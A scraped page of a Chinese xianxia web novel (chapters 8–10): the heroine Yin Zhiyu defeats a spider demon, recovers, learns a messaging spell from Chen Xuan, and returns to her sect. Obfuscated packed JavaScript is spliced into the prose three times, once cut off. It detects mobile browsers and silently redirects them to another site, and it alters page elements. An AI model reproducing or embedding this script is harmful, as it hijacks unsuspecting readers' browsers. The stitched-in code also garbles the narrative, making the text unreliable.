;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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一头一尾,唯二的两个修道者护着,才能更好地应对可能会发生的意外。 之前和殷稚鱼说话的那个姑娘也站在殷稚鱼身旁,给殷稚鱼带路。 一行人行色匆匆,往出口跑去。 然而不知道是不是殷稚鱼的乌鸦嘴发作,一路上都没遇到几个妖物,然而在即将从地下巢穴逃出去的时候,他们直接遇到了大boss。 殷稚鱼看见前面忽然落下一只半人形的蜘蛛精时,下意识地往前一步,护在了他们身前,整个人都是懵逼的。 她很快分析出了对方的实力。 凝丹期,预估一个能打十个她。 不是,这么衰的吗? 不应该啊。 殷稚鱼沉默了。 蜘蛛精的上半身是人类的模样,形容美艳,她慵懒披着红纱,墨发如瀑,细长妩媚的眸尾微微上挑,丹唇含笑,仿若出现在山林间的画皮美人,容色香艳。 然而她下半身却是狰狞的蜘蛛模样,尾部肥大,八条足肢踩在地面上,生满了密密麻麻的纤细绒毛,简直看得人密集恐惧症都要犯了。 蜘蛛精嗓音微哑,“没想到我手下那些废物那么没用,不仅放跑了这道美味的小点心,还让我的口粮全部越狱了。” 它身后的下属齐齐垂首,不敢反驳一二。 “你说,”它的眼睛一眨不眨地盯着殷稚鱼,舔了舔唇,流露出难以掩饰的恶意,沙哑道,“我要怎么惩罚你们呢?” 殷稚鱼思索了一下,礼貌提出建议,“不如你把他们都放了,我就自愿给你吃掉。” 8. 名字 蜘蛛精笑了下,挑挑拣拣的目光慢悠悠地滑过殷稚鱼身后抖成筛糠的百姓,殷稚鱼觉得蜘蛛精很像是在菜市场买菜,在挑剔这道食材不够新鲜。 她叹了口气,又往身前站了站。 蜘蛛精饶有兴致,“可我又为何要听你的?” 妖和妖也是不同的,一是居住在妖族洲域中,鲜少在九州五岛其他地方活动的大妖,都是血脉高贵的妖族,它们不会食人,因为那违背天道法则,如果食过人的话,那么晋升时候的天雷就会更加猛烈,稍不小心就会身死道消,后果严重,且大妖开智也早,更不会去碰。 二就是各地侥幸晋升突破的散妖,它们自诞生以来浑浑噩噩,血脉驳杂,晋升之路比大妖难的多,因此不择手段,为了突破想方设法,自然不会管食人带来的诸多坏处。 而蜘蛛精就是后者。 殷稚鱼将秋水横在胸前,漂亮的眸子微微弯了弯,“你如果不答应的话那我就只能拼死一搏了。” 她不忘补充,“对了,我小师叔可能等会就找过来了,他比较凶残,杀妖比除草还利落,你要试一试吗?” 苏尹在后面将这些话听得清清楚楚,不免一愣,心里辰瑄的形象出现了一点崩塌。 她险些绷不住,赶紧晃了晃脑袋,将脑子里辰瑄用千秋除草的画面晃掉。 蜘蛛精表情凝固了一瞬,它收起脸上的笑,目光幽幽。 殷稚鱼毫不畏惧,回以一个灿烂的笑。 地下通道阴沉昏暗,潮湿又逼仄,而少女公主鸦羽般的长发散漫落下,散在胸前,摇摇晃晃,束着鎏金白玉环,剪出优美精致的轮廓,婆诃般若被清玄道人送的符箓隐去,连带着她额间的花钿一起,她肤白,唇水润润的,眸也漆黑乌亮,像是饰以华美珠宝与绸缎的精美瓷偶,有种理所应当的华艳瑰灿。 蜘蛛精虽然嗜杀又残忍,但是和人类接触不多,脑容量不大,不知道这话是殷稚鱼说来唬人的,就算蜘蛛精真把人送出去了她也不会乖乖的束手就擒,毕竟杀鸡都要挣扎一下呢,何况她是个活生生的人。 关键是殷稚鱼也不知道辰瑄什么时候能赶到,不过幸好的是,蜘蛛精也不知道。 殷稚鱼和苏尹两个人也护不住这么多百姓,所以送走是最好的,也不影响接下来打架。 蜘蛛精打了个响指,“那就依你所言,不过你可千万不要说谎哦。” 它看了眼下属,那些不能化形的小妖悉悉索索,识趣地让开一条路,等着百姓走过去。 然而它们平日的作风太过深入人心,所以一时之间,没人敢动。 殷稚鱼抿了下唇,“苏师姐。” 苏尹握住剑,担心道,“师妹,不如我和你一起留下吧。” 她忧心殷稚鱼人单力薄,一个人对付不了这么多妖物。 殷稚鱼摇了摇头,拒绝了她的提议。 她轻声,“苏师姐,这些百姓还需要你护着。” 毕竟妖物不讲诚信,殷稚鱼以己之心去度妖物,发现如果是自己的话,出去直接一口一个嘎嘣脆,哪里还管之前答应的呢。 所以还是需要苏尹护着。 苏尹欲言又止,但是也确实知晓现在护着人出去更重要,只能忧虑地叮嘱一句,“那你千万小心。” 殷稚鱼颔首。 蜘蛛精不算全然没有脑子,它垂涎殷稚鱼的血肉,直觉只要吃了她,那么自己必然可以再次进阶,但是这群人中有两个修道者,若是她们联合起来反抗的话,那么它自己一时半会可能讨不到好,万一有其他修道者追过来了怎么办。 那还不如先想办法送走一个。 反正晋升之后,它还能把这些美味的小点心再抓回来。 蜘蛛精打得一把好算盘,也就不计较殷稚鱼和她讨价还价的行为。 苏尹走在最前面,全程提着心从妖物身边走过,活人的血肉吸引着那些灵智不算高的妖物们躁动,然而又在蜘蛛精的威压下缄默,纷纷安静下来,不敢随便乱动。 她走过去了,剩下的百姓也提心吊胆,跟着走过去。 最开始和殷稚鱼说话的姑娘留在最后,嘴张了张,想说什么,却被殷稚鱼轻轻推了一把,少女言语轻松,“放心,我不会有事的。” 姑娘呐呐,还是点了点头,跟着同伴一起离开。 苏尹直到所有人都聚过来了才继续行动,深吸一口气,往地下出口走过去。 很快,甬道里只剩下殷稚鱼一个人,独自站在蜘蛛精面前。 “人我已经送走了,”蜘蛛精弯起艳红的唇,“小姑娘也应该履行诺言了吧?” 殷稚鱼眸尾无辜下弯,更添一分天真乖巧,“那姐姐过来吧。” 她握着剑的手放在一侧,好似真的甘心成为蜘蛛精的盘中餐。 其他的妖物都被蜘蛛精驱散,它慢悠悠地朝着殷稚鱼走过去,舔了舔唇,觉得那股芬芳更诱人了,吸引着它迫不及待地想要吞吃殷稚鱼的血肉,一滴血都不愿意浪费。 洞穴里倏然亮起一道剑光。 殷稚鱼的天赋,是清玄道人和辰瑄一起称赞的,她是天生的剑客,虽然还未修出自己的剑意,但已得三分真意。 这很难得,毕竟要知道即便是长老的亲传弟子,也不能入门这么短的时间就对剑道有所感悟。 那剑光极美,虽然稚嫩,却像是空山樱落,月照溪流,静谧而又婉转。 殷稚鱼身影一闪,已然消失在原地。 蜘蛛精足肢抬起,挡住这一击,殷稚鱼修行时间太短了,即便再天赋异禀,也不能随意一剑就斩杀掉一只凝丹期妖物。 虽然辰瑄必然可以,但她一定不可以。 毕竟她走的也不是碾压流,而是某点升级流,越级打怪什么的,简直不要太经典。 殷稚鱼为自己的苦命默哀一秒。 她其实挺喜欢躺平流的,也不知道系统能不能给她换个人设,她想当咸鱼。 脑海里的系统安安分分,活像是死了一样。 殷稚鱼只好靠自己。 秋水击在蜘蛛精的前肢上,只划出一道浅浅的痕迹,却带起一溜的火花,好似两把锋利坚韧的兵器相撞在一起,那些细碎纤细的星点如同火树银花般坠落,落在少女黑亮的眸子里,她没有眨眼,沉静的眸底透出三分冰冷的杀意,冷冽有如实质。 蜘蛛精另一只足肢向殷稚鱼刺去,划破她的衣袖,笑声幽凉,“小姑娘这是打算反悔?” “是啊,”殷稚鱼脸不红心不跳,女孩急急后退,足肢只来得及划破她的衣服就没有了,毕竟两人不是一个量级的,蜘蛛精血防厚,殷稚鱼破不了蜘蛛精的防,但她相信蜘蛛精一定可以破自己的防。 殷稚鱼真挚说,“毕竟我就是这样一个说翻脸就翻脸,没有诚信可言,卑鄙无耻的狡诈人族。” 蜘蛛精噎住了。 绕是没有底线的妖物,也被殷稚鱼的厚脸皮震惊一秒。 ——这确定是正道养出的名门弟子,该不会是哪个魔族假扮的吧。 “那可惜了,”蜘蛛精的表情透出几分杀气腾腾,明摆着告诉殷稚鱼,它要开大了,“我今天一定要吃了你。” 它直起上半身,露出柔软的腹部,细软的绒毛微微翁动,像是有什么东西在体内酝酿。 殷稚鱼跑得更远了一点,毕竟有些蜘蛛是有毒的,虽然婆诃般若抗毒,但万一呢。 她可赌不起。 它的腹部裂开一道口子,噗嗤一声,飞出一团幽绿的液体,径直飚向殷稚鱼。 殷稚鱼神色一凝,不敢托大,灵气凝聚成防护罩,秋水也挡在身前,抵挡住了这一击。 那团液体落在她撑起的灵气罩上,发出腐蚀的滋滋声,明显是有毒的,而且毒性还不小。 蜘蛛精勾了勾嘴角,言语慵懒,“你还能抵挡几次呢?” “还是被我乖乖吃掉比较好。” 殷稚鱼知道蜘蛛精说得对。 她肉身淬炼的时间太短,体内容纳的灵气量也少,抵挡一次毒液就耗去了大半,如果蜘蛛精多喷射几次毒液的话,那么她肯定挡不住。 而这样恐怖的毒液,殷稚鱼也不敢让它沾身。 她有些想念辰瑄了。 男主在哪?总不能男主和白月光还没有生情她就挂掉了吧,难道说他要向小说里的警察学习,等她被蜘蛛精嘎掉以后才姗姗来迟。 有点惨。 殷稚鱼叹了一口气。 她不说话的时候,看上去就纤细乖巧的一小只,眼睛明亮肌肤白皙,娇生惯养的气质流露出来,安安静静的,像是不谙世事的闺阁大小姐,或是养在海水里的名贵珍珠。 脆弱的,娇气的,易碎的。 “可我不太喜欢死成几段。”殷稚鱼抱怨。 蜘蛛精很大方,“没关系,我可以把你一口吃掉。” 殷稚鱼:“……” 她试探性地问,“那如果我不想死?” 蜘蛛精立刻翻脸,“那我就送你一程。” “看来我们是谈不拢了,”殷稚鱼弯了弯微圆的眸尾,“毕竟原则性问题,我也不想妥协。” 秋水剑再次横起,她指尖轻巧上点,按在少女光洁白皙的额头上,纤细乌黑的发辫散开,像是葭菼夜雪,温柔地,淋漓地,柔和地旋落。 朱红的印记亮起一瞬,又黯淡下去,那是一瓣纤软的花,斑斓瑰丽地盛开,弯弯的,像是一道皎洁的月亮落在她的肌肤上,极美。 蜘蛛精忽然觉得有些不安。 那道印记亮起时,面前的殷稚鱼的吸引力对她提高了十倍不止,它喉中焦渴,然而警惕与戒备让它没办法上前,只能躁动又提防地盯着殷稚鱼,酝酿着杀招。 殷稚鱼偏了偏头,轻快说,“时间有限,但杀你应该够了 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蜘蛛精受不了了,它腹部翁动了许久,之前的毒液都被殷稚鱼想办法躲过,她体内灵气不知道为什么暴增了许多,让它无计可施,只能试一试其他办法。 雪白的蛛丝也被吐出,七零八落地挂在甬道的各个角落里。 这些都妨碍不到殷稚鱼。 然而看蜘蛛精的样子,可能要开大。 殷稚鱼一振,谨慎地握紧秋水,这把品阶为下品的长剑被灌注太多灵气,剑面上甚至生出细碎的裂痕。 殷稚鱼顾不上心疼,一心只有面前的危机。 她微微眯起眼睛,眸底凉意更重。 白光在洞穴内亮起,动静大到整个地下洞穴地动山摇,似乎要崩塌一般,那些被蜘蛛精威亚压迫得动弹不得的妖物赶紧四散躲藏,等到白光散去,才大着胆子往蜘蛛精的方向看去。 蜘蛛精的身体轰然倒地,曾经美艳风情的面容如今僵硬着,而它胸口插着一把剑,脸色苍白的少女慢慢将剑拔出,幽绿的血液被带出来,有些落在她的裙角,她也没力气躲。 殷稚鱼现在可以说是一滴都没了,然而却没有表现出来,只垂眸,嫌弃地用蜘蛛精的红纱擦干净秋水,可惜红纱漂亮是漂亮,但是在擦东西上面,却没有其他布料好用。 没了蜘蛛精压迫,其他的小妖又躁动起来,趴向殷稚鱼。 殷稚鱼察觉到了,她没动,只是淡淡掀眸看过去,她杀死蜘蛛精的余威还在,即便没有出手,也压得小妖们安静下来,踟蹰着不敢上前。 殷稚鱼估摸着自己能威慑它们一会。 它们渴望着殷稚鱼的血肉,却又害怕殷稚鱼的杀伤力,不知道殷稚鱼现在是强弩之末,只难耐地磨着爪子,想要离开却又不愿意,想要靠近却又恐惧。 但是很快,它们就不用再纠结了。 有脚步声越行越近,急促又匆忙,白衫的少年人走进来,清冷抬眸,看见殷稚鱼平安无事时微微松了一口气,“殷师侄。” 他扫了眼四周的妖物,小妖们只觉得后背发凉,还没来得及做出反应,身体就被齐齐砍断,切成好几段,血腥气浓郁弥漫在洞穴之中。 ——赶到了。 殷稚鱼绷着的弦松开几分,也不强撑了,力竭坐在地上,秋水都没力气握住,哐当一声掉在地上。 辰瑄有些诧异,“这只蜘蛛精是殷师侄杀的吗?” “对,”殷稚鱼有气无力地说,眨了眨眼,她微微仰起脸,露出一张沾了尘土的,惨白又脏兮兮的面容,“小师叔,我能提个建议吗?” 她眸尾狡黠弯起,“你直接能叫我名字吗?” 少女华美裙衫被蜘蛛精的毒液和血液腐蚀,有些破破烂烂的,却毫不在意,眉眼带笑,就这样随意地坐在地上,忽然让辰瑄想到了第一次见面的时候,被老鼠精追得抱头鼠窜的殷稚鱼,也是这样。 少年略微怔忪,而殷稚鱼已经撑不住了,灵气耗尽,心一松,没有等到回答就陷入昏睡之中。 她的周身仿佛还缭绕着未散的剑意,和她这个人一样,坚韧又果决。 辰瑄弯腰,将秋水收起,苏尹护着百姓回城里去了,就剩下他一个人,被外面的阵法阻挠了片刻,本来还以为殷稚鱼会出事,没想到她一个人也可以。 墨发雪衫,清净又秀美的少年撕下一角干净的衣衫,一点点擦干净她脸上的尘土,即便隔着一层,但他依然能隐约感觉到女孩肌肤的触感,和他不一样,殷稚鱼的脸似乎要更加柔嫩一些。 他低声,“殷师侄。” 殷稚鱼现在听不到。 而辰瑄微顿,静默了下,不太熟练,生涩地,低低地唤,“殷稚鱼。” 9. 回宗 殷稚鱼老老实实地躺在床上,养伤。 在地下洞穴那波开大装了一波大的确实很帅,但是后遗症也有些麻烦,她的身体承受不住那么多灵气的挤压,虽然因祸得福,经脉被开拓得更宽广些,但也受了不轻的伤。 白衍自觉是他们连累了殷稚鱼,愧疚不已,刚好他们的队伍里有位师妹是医修,给殷稚鱼开了药,让她好好休养一阵,同时养伤期间禁止使用灵气,避免伤上加伤。 苏尹坐在床边的圆凳上,给她剥橘子,修道者剥橘子皮不用自己动手,指尖凝聚出薄薄的灵气,轻巧地划开橘子皮,全程没有沾到一点汁水,手依旧干干净净的。 而殷稚鱼只要负责吃就行了。 或许是因为感激殷稚鱼从地下洞穴中救了她,因此苏尹在看到躺在床上的殷稚鱼时自告奋勇来照顾她,从同门那里知晓这位还没入门的小师妹喜欢点心,因此特意买了许多星城的特色点心来投喂。 殷稚鱼体验了一次饭来张口的生活,她感觉如果不是自己只躺了两天的话,可能就要胖了。 苏尹的投喂技术实在太好了,让人无法拒绝。 咚咚咚—— 房门被敲响。 殷稚鱼和苏尹中断聊天,苏尹放下手上的东西,“殷师妹,我去开门?” 殷稚鱼咽下嘴里的橘瓣,点了点头,少女弯着眼,“麻烦苏尹师姐了。” 房门被打开,辰瑄和白衍站在门口,苏尹看到两人一起来的时候,微有讶然,她侧身让开,“白师兄,小师叔,发生什么了吗?” “来看看殷师妹,”白衍作为师兄分外负责,以前待在宗门他就尽职尽责地带孩子,已经带出经验来了,两人一前一后地走进去,他慢一步,偏头温和问苏尹,“殷师妹的身体怎么样了?” 苏尹斟酌着言辞,这么一段短短的距离,殷稚鱼将几人的对话全都收入耳中,她支起身体,看向辰瑄。 “小师叔,是出了什么事吗?” 少女脸色发白,唇也没什么颜色,看起来就一副气血不足,伤势未愈的可怜模样。 辰瑄微顿了下,下意识地想,养伤时间太短,可能还没什么成效。 他嗓音清淡,“清玄师叔传讯给我,催促我们早日回宗。” 殷稚鱼眨了下眼。 既然是不靠谱的便宜师尊开口,那么他们确实要早点回去了。 “我知道了,”殷稚鱼起身,“现在就走吗?” “你的伤如何?如果走不了的话,可以多养两天。”辰瑄拧眉,担心殷稚鱼的伤。 “我没事。”殷稚鱼自觉走近,她伸出手,月白的宽袖滑下,殷稚鱼最近偏爱这样宽大束腰的款式,衣裳宽松容易显得她更加纤细,看起来也更加柔弱,虽然没什么用,但苏尹投喂她的时候,语气柔和了不止一个度。 暗绣银白梨花的袖角滑落, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15235490|166063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她身上仿佛都带着梨花甜甜的香气,又或者是糕点的香甜气息,糖,油,面粉烘培炙烤出甜蜜的香,朦朦胧胧,露出的手腕也削瘦纤细,好似水凝玉,女孩扬起脸,笑容明媚,“如果不放心的话,小师叔可以亲自检查一下,我不会骗人的。” 辰瑄微微沉吟,还是伸手,他指尖虚虚地搭在殷稚鱼的手腕上,输入一缕灵气去检查殷稚鱼的身体,发现她确实没逞强,婆诃般若是天下一等一的珍宝,赋予了她极强的身体恢复速度,殷稚鱼的伤好了七七八八,剩下的只要不再随便动用灵气。 至于她的脸为什么这么白,那么殷稚鱼将其归功于自己已经两天没见太阳了。 在有条件的情况下,她选择十分快乐的成为一只米虫。 白衍拉了苏尹一把,没过去打扰两人,青年出声笑笑,适时开口,“小师叔和殷师妹要回宗,我们也该离开星城,继续历练了。” 殷稚鱼有些惆怅,眼巴巴地朝苏尹挥了挥手,“苏师姐,之后在宗门再见。” 苏尹虽然有些不舍,但明白两人目的不同,迟早都要迎来分离,“回宗再见。” 一行人分道扬镳,苏尹和白衍他们离开,而殷稚鱼跟着辰瑄,又上了清玄道人的那间飞行法宝。 她原本忧愁地想要倚着窗口吹会风,哀悼一下以后吃橘子又要自己剥皮了,但是忽然想到了什么,又停下了脚步,“小师叔,师尊是怎么和你传讯的?” 10. 术法 辰瑄手一翻,掌心出现一本类似于书籍的法器,封面厚重,封着青玉一般的细边,质感精美厚重,他随意翻开,“这是天书灵简,传讯法器,清玄师叔应该跟你提过。” 殷稚鱼眨眼。 提过是提过,但清玄道人觉得她刚入道,用不上这个,所以只粗略带过,殷稚鱼还是第一次见到实物,她想起什么,取出秋水,巴巴地问,“小师叔,你看秋水还有救吗?” 在她和蜘蛛精对战的时候,因为实力悬殊,殷稚鱼被迫采取极端的方式,秋水剑被她灌入太多灵气,剑面出现了些许细碎的裂痕,不明显,但看着总让人心惊胆战。 殷稚鱼根本不知道该如何修复它,清玄道人也没说过。 估计清玄道人将秋水送给她的时候,也没想过小弟子这么倒霉,一下子就略过引气辟府,来了个二级跳,直接对上了凝丹修为的敌人吧。 辰瑄简单检查了一下秋水剑,很快得出了结论,“秋水剑品阶太低,一下子承载了太多灵气,承受不住才出现了破裂。” 他微微沉吟了下,很快有了结论,“不用担心。” 殷稚鱼眼睛一亮,“所以小师叔能修复它吗?” 辰瑄将秋水递还过去,摇了摇头,“我不会炼器,但你回了宗门之后,这个问题应该就能迎刃而解。” 他轻声,笑了下,“清玄师叔的门下,有位弟子很擅长炼器,算起来,她还是你的师姐呢。” 师姐还在宗门之中,一时半会见不到人,不过好在得到了解决办法,即便秋水剑现在没能修复,殷稚鱼也没有那么着急了,她将秋水剑收回芥子袋,倏然来了点兴趣,“小师叔,你能教我传讯的术法吗?” 清玄道人离开的时候,除了一本剑谱,什么都没给殷稚鱼留下,所以殷稚鱼只好舍远求近,刚好辰瑄就在旁边,可以利用。 男主可是原著作者亲口认证的术法天才,六边形战士,一个传讯术法而已,对他而言应该不难。 辰瑄收起天书灵简,随口应下,“好。” 少女推开自己小院的门,裙衫流水一般扫过门槛,月白的衣衫透着微微的蓝,如同草叶经霜之后的色调,浅淡而又清丽。 她活泼地向他招了招手。 辰瑄跟上。 飞行法器不需要他操作,只需要投入灵石就可以自己工作,法器放大腾空,星城离得越来越远,直到剩下一个大概的轮廓,模糊如微尘。 用灵气维持的草木常开不败,绿影婆娑,络石藤垂下密密麻麻的枝蔓,葳蕤清凉之意越发明显,辰瑄在小院里支起的石凳上坐下,修长漂亮的手掌翻合,轻易就勾勒出一支纤细的灵鹤形状。 每一个修道者使用术法召唤出的传音灵鹤都是独一无二的,带有本人的气息,很难仿造,真实性得有保证,加上它操作容易,所以使用广泛。 殷稚鱼好奇戳了戳辰瑄用术法召唤出的灵鹤,它落在少女手心,被她拆开,因为只是教学,上面没写什么字,只清隽落下辰瑄的名字。 字迹隽丽,落笔遒劲。 她指尖轻柔抚过上面的墨字,依照辰瑄的教学,开始实践。 殷稚鱼现在有伤,本来应该好好休养,尽量好使用灵气,只是传音灵鹤的术法耗用的灵气不多,何况她实验的对象就在眼前,所以问题不大。 传音灵鹤这道术法本身不难,所以殷稚鱼掌控得很快。少年微微抬了抬眸,头顶的荫盖筛下斑驳细碎的影子,切割出支离破碎的痕迹,漏入他浅色的眼瞳里,温软如琥珀融化的色调,露出一点生动的浅粉,招招摇摇,活泼轻快地降落。 用薄绸发带束起的墨发如同云水一般逶迤漫开,有几束漆黑的发丝落在臂弯处,随着抬臂的动作而泄落,极致的两色更衬托出雪衫的洁净。他清淡地垂下眼。 那只摇摇晃晃的灵鹤停在他的指尖,如同蜻蜓栖息于荷花花苞之上,淡粉的色调,甚至还很有童趣地在灵鹤的尾巴尖上绘上一瓣小小的朱红花瓣,像是一点朱砂,颇有趣味。 ——小师叔,看我。 辰瑄下意识地照做,撞进女孩笑吟吟的瞳眸里。 花笼裙,青玉簪,额间嫣红殷殷,艳似千劫火。 如同黑色凤尾蝶般的密长睫羽微微扇动了下,圆而饱满的瞳仁渗入清凉的绿意,好似山林之中狡黠藏匿起来的雪狐狸,勾着一点柔软的笑意,没有任何遮蔽地,坦荡地与他对视。 “我这就算学会了吧?”殷稚鱼明知故问,索要夸奖的意味满的几乎要溢出来。 “嗯。”辰瑄轻声,他年岁其实也不大,才十七,还没有收过弟子,师尊常年闭关,多是几个师兄轮流照顾他,好在辰瑄并不需要别人操心,他早慧,悟性又高,秘籍剑谱基本看一遍就能学会,宗门里的弟子都很崇敬他,小师叔喊得心服口服,少有人会这样和他相处。 他基本没见过像殷稚鱼这样……辰瑄默了默,将大胆划掉,改成了活泼这个形容词。 “学的很快,”辰瑄不忍心拒绝殷稚鱼的请求,他也没怎么夸过人,在脑海里搜寻了一下师兄们夸奖他的记忆,然后从芥子袋里取出一本有些旧的书籍,递到殷稚鱼面前,温和道,“可以再接再励。” 殷稚鱼瞪圆眼。 她其实有些猜到了,但还是不敢置信,颤巍巍地问,“小师叔,这是什么?” 辰瑄眸光澄澈干净,“是基本的术法教学。” 师兄们以前都是这样夸他的,先表扬他学得快,然后话锋一转,说他不要因此自傲自满,学海无涯,要勤加练习。 不过辰瑄估摸着殷稚鱼的样子,比他当时的年岁要大些,应该早就过了会骄傲自满的年纪。 所以不用担心。 他省去了前面一句,鼓励道,“你的天资出众,那么学习这些术法,应该也是手到擒来。” 殷稚鱼:“……” 这不是她想要的回答。 这个就好比什么呢? 像是她写完了一道压轴题,然后想要辰瑄给个夸奖,敷衍了事随口夸一句也没关系,但是没想到对方郑重夸了她,并反手就掏出一张新的试卷,说既然她能解出这套题目来,那么试卷应该也不在话下。 殷稚鱼有点笑不出来。 她唇角抽了抽,最终还是没有辜负辰瑄的好意,接过书册,随手翻开,书册有些旧了,但保存得相当完好,她看到有些术法的旁边写着批注,字迹稚嫩,但看着有些几分眼熟,微微讶然,“这本书,是小师叔以前拿来学习的吗?” 辰瑄颔首。 殷稚鱼将书抱进怀里,“那我知道了。” 草木扶疏,淡绿浓翠勾勒出一副令人心旷神怡的画卷,少女指甲是干净的粉,小心翼翼地抱着书册,露出一点圆润的弧度,像是一枚枚秀丽精美的贝壳。 她唔了声,眉眼弯弯,“我会尽量不辜负小师叔的心意的。” 辰瑄当然没什么意见,他起身,“如果有什么不懂的话,可以用灵鹤问我。” 殷稚鱼点了点头,目送辰瑄离开。 他们在星城逗留了几日,清玄道人怕殷稚鱼留在外面容易出事,催促两人早日回宗,飞行法器没有再停下来,一路飞驰,往乾虚派的方向赶去。 即将抵达乾虚派的时候,殷稚鱼暂时脱离了学习模式,倚着窗户,好奇望着下面飞逝的景物。 乾虚派与凌霄宗,上清宗并称为三宗,其中乾虚派主修剑术,是天下剑术之首,无数剑客梦寐以求的修行圣地,大宗气象泱泱洒洒,飞湍瀑流,草木万千,疏旷而又大气。 飞行法器在玄枵峰落下。 清玄道人慢他们一步,还陷在外面的麻烦里无法脱身,但他提前通知了自己的大弟子傅凛,出来迎接新入门的小师妹。 庭院大门被推开,这次是殷稚鱼先下来,她轻快越过门槛,视线略过写着玄枵二字的峰碑,落在了傅凛身上。 ——傅凛。 清玄道人收的第一个弟子,玄枵峰的首席大师兄,鉴于清玄道人这个师尊实在不靠谱,所以他还另外担当了玄枵峰管家兼职门面,与二师姐一起打理玄枵峰,他主外,而二师姐孟轻音主内,双方合作分外默契,可以说,玄枵峰可以没有清玄道人,但不能没有傅凛。 “小师妹。”傅凛迎上来,青年生了一张英朗温和的面容,与看似温柔实则清冷疏离的辰瑄不同,傅凛的气质出挑,一看就是正道弟子,只是目光不知道为什么,透出一点莫名的慈爱,让殷稚鱼诡异地想到了男妈妈。 呸呸呸—— 她将脑海里织毛衣的傅凛形象甩掉,乖乖称呼,“大师兄。” 少女容色艷丽,瞳眸黑亮,脸白又小,唇角要笑不笑地弯起,压着三分柔软的笑意,像是精致美丽的偶人。 她主动介绍。 “我叫殷稚鱼,稚子的稚,鱼是鲤鱼的鱼。” “稚鱼师妹,”傅凛照顾过很多师弟师妹,毕竟他是玄枵峰最大的那一个,孟轻音和他年纪相差无几,可是她沉迷炼器,不爱出门,所以另外两个师弟师妹都是由傅凛一手带大的。 青年从善如流地开口,“我是傅凛,你的大师兄,以后师妹在玄枵峰遇到什么问题都可以来找我。” 殷稚鱼乖巧颔首,争取第一次见面给师兄留个好印象。 原著里关于傅凛的描写不多,他和辰瑄本是好友,但是却因为殷稚鱼而决裂。 原著里的白月光阴差阳错死在了辰瑄手上,即便其中有许多意外因素,可说到底,殷稚鱼是被辰瑄亲手杀死的。 无可辩驳。 傅凛为此心生芥蒂,他知晓此事不能怪罪辰瑄,但理智和感情向来割裂。 而辰瑄…… 百年后的男主,并非现在温柔的模样,寡冷薄凉到了极致,空桑伊追逐了他许久,却从来没有得到过哪怕一星半点的回应。 而现在,以后会决裂的大师兄越过殷稚鱼,冲辰瑄点了点头,“多谢小师叔带稚鱼师妹回宗。” “举手之劳。”少年嗓音平淡,他的目光在殷稚鱼身上落了一瞬,女孩子注意到他的眼神,悄然朝着他挥了挥手。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15235491|166063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他移开视线,“不必多礼。” 傅凛和辰瑄关系好,没有再客气,“我先带稚鱼师妹熟悉一下玄枵峰,暂且先告辞。” “我回峰了,”少年微微颔首,他并不住在玄枵峰,飞行法器缩小落在他的掌心,被他交给傅凛,“替我转交给清玄师叔。” 傅凛是清玄道人的大弟子,当然见过师尊的飞行法器,没有推辞,将法器收起。 他唤出灵剑,偏头认真地问,“师妹现在能御剑吗?” 青年伸出手,淡青衣袍下腕骨修长有力,“如果不会的话,我可以带你上去。” 辰瑄还没离开,恰好看到这一幕。 他略微愣怔了下,顿了顿,随后收起不知名的思绪,淡淡地想,师兄照顾刚入门的小师妹,是很正常的一件事。 殷稚鱼拒绝了傅凛的好意,这几天,婆诃般若已经从过度使用的状态恢复过来,她体内的伤势也好得差不多了,不需要其他人的帮助,她自己就可以御剑。 傅凛并不勉强,看着她小心翼翼地踏上秋水剑,微微笑了下,“这是秋水吧,师尊送给你的?” 秋水剑现在是受损的状态,所以殷稚鱼踩上去的时候提心吊胆,生怕秋水剑直接碎裂。 好在并没有出现她所担心的问题。 殷稚鱼松了口气,再抬头的时候,发现视野里已经没了辰瑄的身影。 ——不知道什么时候,他已经离开了。 殷稚鱼没在意,脑袋点了下,“是啊。” 清玄道人的洞府建在山顶之上,而其他弟子则是在半山腰的一块平坦开阔的地界单独开辟独立的院所,供其居住。 每所院子都隔着一段不远不近的距离,避免打扰到彼此修行。 傅凛领着殷稚鱼走到一所院子前,“稚鱼师妹,你愿意住在这里吗?” 他回头,询问意见。 殷稚鱼打量着这所小院。 小院的环境清幽,扎着竹篱,纤细的竹枝上缠绕着些许花藤,鹅黄淡粉的花朵点缀在翠色之中,增添了几分野趣。 而院子里还挖了一方不大的池塘,旁边种着一株梨树,虽然不是梨树盛开的季节,繁盛细碎的花朵融成一朵巨大的雪球,时不时有花瓣飘落,落在水面之上。 殷稚鱼愉快地给出了答案,“嗯。” 小院的环境不差,傅凛又领着殷稚鱼去逡巡了一下室内,屋子打扫得很干净,没有一丝灰尘,只是空空荡荡的,除了基础的用具之后,什么都没有。 殷稚鱼摸了摸芥子袋,卫王准备得周全,她芥子袋里的东西足以填满这间屋子,“谢谢大师兄。” 傅凛笑了笑,“如果小师妹需要什么的话,可以告诉我,或者二师姐。” 他解释,“师尊收了四位弟子,除了我之外,你还有一位师兄,两位师姐,只是他们今日都不在宗门内,见面的话,应该还要等师尊回来,所以有什么需要的话,可以传讯给我,我就住在东侧。” “我明白了,谢谢师兄,”殷稚鱼想起至今杳无音讯的清玄道人,“大师兄,师尊说过自己什么时候回来吗?” 